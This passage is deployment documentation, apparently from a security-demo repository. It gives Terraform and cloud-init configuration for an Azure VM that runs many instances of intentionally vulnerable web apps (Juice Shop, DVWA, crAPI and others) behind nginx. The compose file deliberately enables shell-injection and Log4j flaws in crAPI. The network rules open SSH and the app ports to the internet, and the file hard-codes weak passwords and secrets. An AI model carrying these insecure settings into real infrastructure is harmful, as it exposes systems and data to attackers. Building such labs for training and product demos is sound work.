Skip to content

Deploy

All Terraform files are in the terraform/ directory. Clone the repository and deploy directly:

Terminal window
git clone https://github.com/f5xc-salesdemos/origin-server.git
cd origin-server/terraform
cp terraform.tfvars.example terraform.tfvars
# Edit terraform.tfvars with your Azure subscription ID and SSH key path

The terraform directory contains 9 files following the Demo Resource Standard:

  • versions.tf — Terraform and provider version constraints (azurerm ~> 4.0, azuread ~> 3.0)
  • providers.tf — Azure RM and Azure AD provider configuration
  • data.tf — Azure AD data sources for deployer auto-resolution
  • locals.tf — Deployer resolution, Azure Cloud Adoption Framework resource naming, standard tags
  • main.tf — Resource group (named rg-origin-server-{environment}-{deployer})
  • variables.tf — All input variables (1 required, 8 optional)
  • network.tf — VNet (10.200.0.0/16), subnet, public IP, NSG (ports 22/80/443/8888), NIC
  • vm.tf — Ubuntu 24.04 VM with cloud-init via templatefile()
  • outputs.tf — 25 outputs (15 standard + 10 component-specific application URLs)

main.tf contains only the resource group:

resource "azurerm_resource_group" "main" {
name = local.name.resource_group
location = var.location
tags = local.tags
}

variables.tf defines all configurable parameters. The deployer identifier is auto-resolved from your Azure AD account — you only need to set subscription_id. The vm_size default is Standard_D16s_v3 (16 vCPU, 64 GiB RAM) sized for 41 Docker containers:

# ---------------------------------------------------------
# General
# ---------------------------------------------------------
variable "subscription_id" {
description = "Azure subscription ID"
type = string
}
variable "deployer" {
description = "Override for deployer identifier (auto-resolved from Azure AD if empty). Required for service principal or managed identity authentication."
type = string
default = ""
}
variable "location" {
description = "Azure region for all resources"
type = string
default = "eastus2"
}
variable "environment" {
description = "Environment label used in resource group naming and tags"
type = string
default = "lab"
}
variable "tags" {
description = "Additional tags merged with standard tags (component, environment, deployer, managed_by)"
type = map(string)
default = {}
}
# ---------------------------------------------------------
# Compute
# ---------------------------------------------------------
variable "vm_size" {
description = "Azure VM size (Standard_D16s_v3: 16 vCPU, 64 GiB RAM for Docker workloads)"
type = string
default = "Standard_D16s_v3"
}
variable "admin_username" {
description = "SSH admin username for the VM"
type = string
default = "azureuser"
}
variable "ssh_public_key_path" {
description = "Path to the SSH public key file"
type = string
default = "~/.ssh/id_ed25519.pub"
}
variable "disk_size_gb" {
description = "OS disk size in GB"
type = number
default = 60
}

network.tf creates the VNet, subnet, public IP, NSG (ports 22/80/443/8888), and NIC. Port 8888 is required for crAPI which runs on a dedicated port:

resource "azurerm_virtual_network" "main" {
name = local.name.virtual_network
address_space = ["10.200.0.0/16"]
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
tags = azurerm_resource_group.main.tags
}
resource "azurerm_subnet" "main" {
#checkov:skip=CKV2_AZURE_31:Lab subnet - NSG associated at NIC level
name = local.name.subnet
resource_group_name = azurerm_resource_group.main.name
virtual_network_name = azurerm_virtual_network.main.name
address_prefixes = ["10.200.1.0/24"]
}
resource "azurerm_public_ip" "main" {
name = local.name.public_ip
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
allocation_method = "Static"
sku = "Standard"
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_security_group" "main" {
#checkov:skip=CKV_AZURE_10:Lab NSG - SSH open for demo access
#checkov:skip=CKV_AZURE_160:Lab NSG - HTTP port 80 required for traffic
#checkov:skip=CKV_AZURE_220:Lab NSG - SSH open for demo access
name = local.name.nsg
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
security_rule {
name = "AllowHTTP"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "80"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowHTTPS"
priority = 110
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "443"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowSSH"
priority = 120
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "22"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowCrAPI"
priority = 130
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "8888"
source_address_prefix = "*"
destination_address_prefix = "*"
}
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_interface" "main" {
#checkov:skip=CKV_AZURE_119:Lab NIC - public IP required for demo access
name = local.name.network_interface
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
ip_configuration {
name = "internal"
subnet_id = azurerm_subnet.main.id
private_ip_address_allocation = "Dynamic"
public_ip_address_id = azurerm_public_ip.main.id
}
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_interface_security_group_association" "main" {
network_interface_id = azurerm_network_interface.main.id
network_security_group_id = azurerm_network_security_group.main.id
}

vm.tf creates the Ubuntu 24.04 VM and passes the cloud-init provisioning script. The 60 GiB Premium SSD provides sufficient space for Docker images and container volumes:

resource "azurerm_linux_virtual_machine" "main" {
#checkov:skip=CKV_AZURE_50:Lab VM - no extensions required
#checkov:skip=CKV_AZURE_93:Lab VM - platform-managed encryption sufficient
name = local.name.virtual_machine
resource_group_name = azurerm_resource_group.main.name
location = azurerm_resource_group.main.location
size = var.vm_size
admin_username = var.admin_username
disable_password_authentication = true
admin_ssh_key {
username = var.admin_username
public_key = file(pathexpand(var.ssh_public_key_path))
}
network_interface_ids = [azurerm_network_interface.main.id]
os_disk {
caching = "ReadWrite"
storage_account_type = "Premium_LRS"
disk_size_gb = var.disk_size_gb
}
source_image_reference {
publisher = "Canonical"
offer = "ubuntu-24_04-lts"
sku = "server"
version = "latest"
}
custom_data = base64encode(templatefile("${path.module}/cloud-init.yaml", {}))
tags = azurerm_resource_group.main.tags
}

cloud-init.yaml provisions the VM with a hardened configuration. A shared helper library (/usr/local/lib/cloud-init-helpers.sh) provides retry logic on all network operations and progress logging to /var/log/cloud-init-progress.log. Active health-check polling replaces fixed-duration sleep for container readiness. It provisions:

  • Kernel tuning: TCP keepalive, TIME_WAIT reuse, 2M tw_buckets, 64K somaxconn
  • nginx: 8 upstream blocks with sticky sessions (ip_hash, cookie hash), keepalive pools (64—128), proxy cache for Juice Shop, error_log crit level
  • Docker Compose: 41 containers across 9 applications with per-container CPU/memory limits
  • Custom builds: DVWA-FPM (php-fpm with pm.max_requests=200), CSD Demo (Flask + gunicorn), RESTaurant (cloned from GitHub)
  • Worker recycling: uvicorn —limit-max-requests 200 (RESTaurant), pm.max_requests 200 (DVWA-FPM) to prevent memory leaks under sustained load
#cloud-config
package_update: true
package_upgrade: true
bootcmd:
- mkdir -p /var/cache/nginx/juice_shop
- chown www-data:www-data /var/cache/nginx/juice_shop 2>/dev/null || true
packages:
- ca-certificates
- curl
- gnupg
- nginx
- sysstat
- htop
- iotop
- dool
- iftop
write_files:
- path: /etc/sysctl.d/99-origin-server.conf
content: |
# Origin server performance tuning for concurrent web traffic
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535
net.core.netdev_max_backlog = 65535
net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 60
net.ipv4.tcp_keepalive_intvl = 10
net.ipv4.tcp_keepalive_probes = 6
net.ipv4.tcp_max_tw_buckets = 2000000
net.ipv4.tcp_syncookies = 1
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
- path: /etc/nginx/nginx.conf
content: |
user www-data;
worker_processes auto;
worker_rlimit_nofile 65535;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log crit;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 16384;
multi_accept on;
use epoll;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
types_hash_max_size 2048;
server_tokens off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
keepalive_timeout 65;
keepalive_requests 1000;
client_body_timeout 10;
client_header_timeout 10;
send_timeout 10;
reset_timedout_connection on;
proxy_buffer_size 32k;
proxy_buffers 16 32k;
proxy_busy_buffers_size 64k;
proxy_connect_timeout 5;
proxy_read_timeout 30;
proxy_send_timeout 10;
access_log off;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 4;
gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
proxy_cache_path /var/cache/nginx/juice_shop levels=1:2 keys_zone=juice_cache:10m max_size=100m inactive=5m use_temp_path=off;
upstream juice_shop {
server 127.0.0.1:3001 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3002 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3003 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3004 max_fails=3 fail_timeout=10s;
hash $cookie_token consistent;
keepalive 64;
}
upstream dvwa {
server 127.0.0.1:8101 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8102 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8103 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8104 max_fails=3 fail_timeout=10s;
hash $cookie_PHPSESSID consistent;
keepalive 128;
}
upstream vampi {
server 127.0.0.1:5101 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5102 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5103 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5104 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream httpbin_up {
server 127.0.0.1:8201 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8202 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8203 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8204 max_fails=3 fail_timeout=10s;
keepalive 128;
}
upstream whoami_up {
server 127.0.0.1:8082 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8083 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8084 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8085 max_fails=3 fail_timeout=10s;
keepalive 128;
}
upstream csd_demo {
server 127.0.0.1:5001 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5002 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5003 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5004 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream dvga_graphql {
server 127.0.0.1:5201 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5202 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5203 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5204 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream restaurant {
server 127.0.0.1:8301 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8302 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8303 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8304 max_fails=3 fail_timeout=10s;
keepalive 128;
}
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
- path: /etc/systemd/system/nginx.service.d/limits.conf
content: |
[Service]
LimitNOFILE=65535
LimitNOFILESoft=65535
- path: /etc/logrotate.d/nginx-origin
content: |
/var/log/nginx/*.log {
daily
rotate 7
size 500M
compress
delaycompress
missingok
notifempty
sharedscripts
postrotate
nginx -s reopen
endscript
}
- path: /etc/systemd/journald.conf.d/origin-server.conf
content: |
[Journal]
SystemMaxUse=200M
RuntimeMaxUse=50M
- path: /opt/origin-server/docker-compose.yml
content: |
services:
juice-shop-1:
image: bkimminich/juice-shop:latest
container_name: juice-shop-1
restart: unless-stopped
ports:
- "127.0.0.1:3001:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-2:
image: bkimminich/juice-shop:latest
container_name: juice-shop-2
restart: unless-stopped
ports:
- "127.0.0.1:3002:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-3:
image: bkimminich/juice-shop:latest
container_name: juice-shop-3
restart: unless-stopped
ports:
- "127.0.0.1:3003:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-4:
image: bkimminich/juice-shop:latest
container_name: juice-shop-4
restart: unless-stopped
ports:
- "127.0.0.1:3004:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
dvwa-1:
build: ./dvwa-fpm/
container_name: dvwa-1
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8101:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-2:
build: ./dvwa-fpm/
container_name: dvwa-2
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8102:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-3:
build: ./dvwa-fpm/
container_name: dvwa-3
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8103:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-4:
build: ./dvwa-fpm/
container_name: dvwa-4
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8104:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-db:
image: mariadb:10.11
container_name: dvwa-db
restart: unless-stopped
environment:
- MYSQL_ROOT_PASSWORD=root_password
- MYSQL_DATABASE=dvwa
- MYSQL_USER=dvwa
- MYSQL_PASSWORD=p@ssw0rd
- MARIADB_INNODB_BUFFER_POOL_SIZE=256M
- MARIADB_MAX_CONNECTIONS=400
- MARIADB_INNODB_LOG_FILE_SIZE=100M
volumes:
- dvwa-db-data:/var/lib/mysql
deploy:
resources:
limits:
cpus: "1.0"
memory: 768M
vampi-1:
image: erev0s/vampi:latest
container_name: vampi-1
restart: unless-stopped
ports:
- "127.0.0.1:5101:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-2:
image: erev0s/vampi:latest
container_name: vampi-2
restart: unless-stopped
ports:
- "127.0.0.1:5102:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-3:
image: erev0s/vampi:latest
container_name: vampi-3
restart: unless-stopped
ports:
- "127.0.0.1:5103:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-4:
image: erev0s/vampi:latest
container_name: vampi-4
restart: unless-stopped
ports:
- "127.0.0.1:5104:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
httpbin-1:
image: kennethreitz/httpbin:latest
container_name: httpbin-1
restart: unless-stopped
ports:
- "127.0.0.1:8201:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-2:
image: kennethreitz/httpbin:latest
container_name: httpbin-2
restart: unless-stopped
ports:
- "127.0.0.1:8202:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-3:
image: kennethreitz/httpbin:latest
container_name: httpbin-3
restart: unless-stopped
ports:
- "127.0.0.1:8203:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-4:
image: kennethreitz/httpbin:latest
container_name: httpbin-4
restart: unless-stopped
ports:
- "127.0.0.1:8204:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
whoami-1:
image: traefik/whoami:latest
container_name: whoami-1
restart: unless-stopped
ports:
- "127.0.0.1:8082:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-2:
image: traefik/whoami:latest
container_name: whoami-2
restart: unless-stopped
ports:
- "127.0.0.1:8083:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-3:
image: traefik/whoami:latest
container_name: whoami-3
restart: unless-stopped
ports:
- "127.0.0.1:8084:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-4:
image: traefik/whoami:latest
container_name: whoami-4
restart: unless-stopped
ports:
- "127.0.0.1:8085:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
csd-demo-1:
build: ./csd-demo/
container_name: csd-demo-1
restart: unless-stopped
ports:
- "127.0.0.1:5001:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-2:
build: ./csd-demo/
container_name: csd-demo-2
restart: unless-stopped
ports:
- "127.0.0.1:5002:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-3:
build: ./csd-demo/
container_name: csd-demo-3
restart: unless-stopped
ports:
- "127.0.0.1:5003:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-4:
build: ./csd-demo/
container_name: csd-demo-4
restart: unless-stopped
ports:
- "127.0.0.1:5004:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
dvga-1:
image: dolevf/dvga:latest
container_name: dvga-1
restart: unless-stopped
ports:
- "127.0.0.1:5201:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-2:
image: dolevf/dvga:latest
container_name: dvga-2
restart: unless-stopped
ports:
- "127.0.0.1:5202:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-3:
image: dolevf/dvga:latest
container_name: dvga-3
restart: unless-stopped
ports:
- "127.0.0.1:5203:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-4:
image: dolevf/dvga:latest
container_name: dvga-4
restart: unless-stopped
ports:
- "127.0.0.1:5204:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-db:
image: postgres:15.4-alpine
container_name: restaurant-db
restart: unless-stopped
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_DB=restaurant
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- restaurant-db-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U admin -d restaurant"]
interval: 5s
timeout: 5s
retries: 10
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
restaurant-1:
build: ./restaurant/
container_name: restaurant-1
restart: unless-stopped
ports:
- "127.0.0.1:8301:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-2:
build: ./restaurant/
container_name: restaurant-2
restart: unless-stopped
ports:
- "127.0.0.1:8302:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-3:
build: ./restaurant/
container_name: restaurant-3
restart: unless-stopped
ports:
- "127.0.0.1:8303:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-4:
build: ./restaurant/
container_name: restaurant-4
restart: unless-stopped
ports:
- "127.0.0.1:8304:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
crapi-web:
image: crapi/crapi-web:latest
container_name: crapi-web
restart: unless-stopped
ports:
- "127.0.0.1:18888:80"
environment:
- COMMUNITY_SERVICE=crapi-community:8087
- IDENTITY_SERVICE=crapi-identity:8080
- WORKSHOP_SERVICE=crapi-workshop:8000
- CHATBOT_SERVICE=crapi-identity:8080
- MAILHOG_WEB_SERVICE=crapi-mailhog:8025
- TLS_ENABLED=false
depends_on:
crapi-identity:
condition: service_healthy
crapi-community:
condition: service_healthy
crapi-workshop:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "-f", "http://0.0.0.0:80/health"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.3"
memory: 128M
crapi-identity:
image: crapi/crapi-identity:latest
container_name: crapi-identity
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8080
- ENABLE_SHELL_INJECTION=true
- JWT_SECRET=crapi
- JWT_EXPIRATION=604800000
- MAILHOG_HOST=crapi-mailhog
- MAILHOG_PORT=1025
- MAILHOG_DOMAIN=example.com
- SMTP_HOST=crapi-mailhog
- SMTP_PORT=1025
- SMTP_EMAIL=user@example.com
- SMTP_PASS=xxxxxxxxxxxxxx
- SMTP_FROM=no-reply@example.com
- SMTP_AUTH=false
- SMTP_STARTTLS=false
- ENABLE_LOG4J=true
- API_GATEWAY_URL=https://api.mypremiumdealership.com
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- TLS_ENABLED=false
depends_on:
crapi-postgres:
condition: service_healthy
crapi-mongo:
condition: service_healthy
crapi-mailhog:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.8"
memory: 1024M
crapi-community:
image: crapi/crapi-community:latest
container_name: crapi-community
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- IDENTITY_SERVICE=crapi-identity:8080
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8087
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- TLS_ENABLED=false
depends_on:
crapi-mongo:
condition: service_healthy
crapi-identity:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.3"
memory: 192M
crapi-workshop:
image: crapi/crapi-workshop:latest
container_name: crapi-workshop
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- IDENTITY_SERVICE=crapi-identity:8080
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8000
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- SECRET_KEY=crapi
- API_GATEWAY_URL=https://api.mypremiumdealership.com
- TLS_ENABLED=false
- FILES_LIMIT=1000
- GUNICORN_WORKERS=4
depends_on:
crapi-postgres:
condition: service_healthy
crapi-mongo:
condition: service_healthy
crapi-identity:
condition: service_healthy
crapi-community:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "1.0"
memory: 512M
crapi-postgres:
image: postgres:14
container_name: crapi-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=crapisecretpassword
- POSTGRES_DB=crapi
volumes:
- crapi-postgres-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready"]
interval: 15s
timeout: 15s
retries: 10
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
crapi-mongo:
image: mongo:4.4
container_name: crapi-mongo
restart: unless-stopped
environment:
- MONGO_INITDB_ROOT_USERNAME=admin
- MONGO_INITDB_ROOT_PASSWORD=crapisecretpassword
volumes:
- crapi-mongo-data:/data/db
healthcheck:
test: ["CMD", "mongo", "--eval", "db.runCommand(\"ping\").ok", "--quiet"]
interval: 15s
timeout: 15s
retries: 10
start_period: 20s
deploy:
resources:
limits:
cpus: "0.3"
memory: 256M
crapi-mailhog:
image: crapi/mailhog:latest
container_name: crapi-mailhog
restart: unless-stopped
ports:
- "127.0.0.1:18025:8025"
environment:
- MH_MONGO_URI=admin:crapisecretpassword@crapi-mongo:27017
- MH_STORAGE=mongodb
depends_on:
crapi-mongo:
condition: service_healthy
healthcheck:
test: ["CMD", "nc", "-z", "localhost", "8025"]
interval: 15s
timeout: 15s
retries: 10
deploy:
resources:
limits:
cpus: "0.3"
memory: 128M
volumes:
dvwa-db-data:
restaurant-db-data:
crapi-postgres-data:
crapi-mongo-data:
- path: /etc/nginx/sites-available/origin-server
content: |
server {
listen 80 reuseport backlog=4096;
server_name _;
location /health {
access_log off;
return 200 '{ "status":"healthy","component":"origin-server","applications":["juice-shop","dvwa","vampi","httpbin","whoami","csd-demo","dvga","restaurant","crapi"] }' ;
add_header Content-Type application/json;
}
location / {
root /var/www/html;
index index.html;
}
location /juice-shop/ {
proxy_pass http://juice_shop/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Prefix /juice-shop;
proxy_cache juice_cache;
proxy_cache_valid 200 60s;
proxy_cache_key "$request_uri";
add_header X-Cache-Status $upstream_cache_status;
}
location /dvwa/ {
proxy_pass http://dvwa/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /vampi/ {
proxy_pass http://vampi/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /httpbin/ {
proxy_pass http://httpbin_up/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /whoami/ {
proxy_pass http://whoami_up/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /csd-demo/ {
proxy_pass http://csd_demo/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /dvga/ {
proxy_pass http://dvga_graphql/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /restaurant/ {
proxy_pass http://restaurant/;
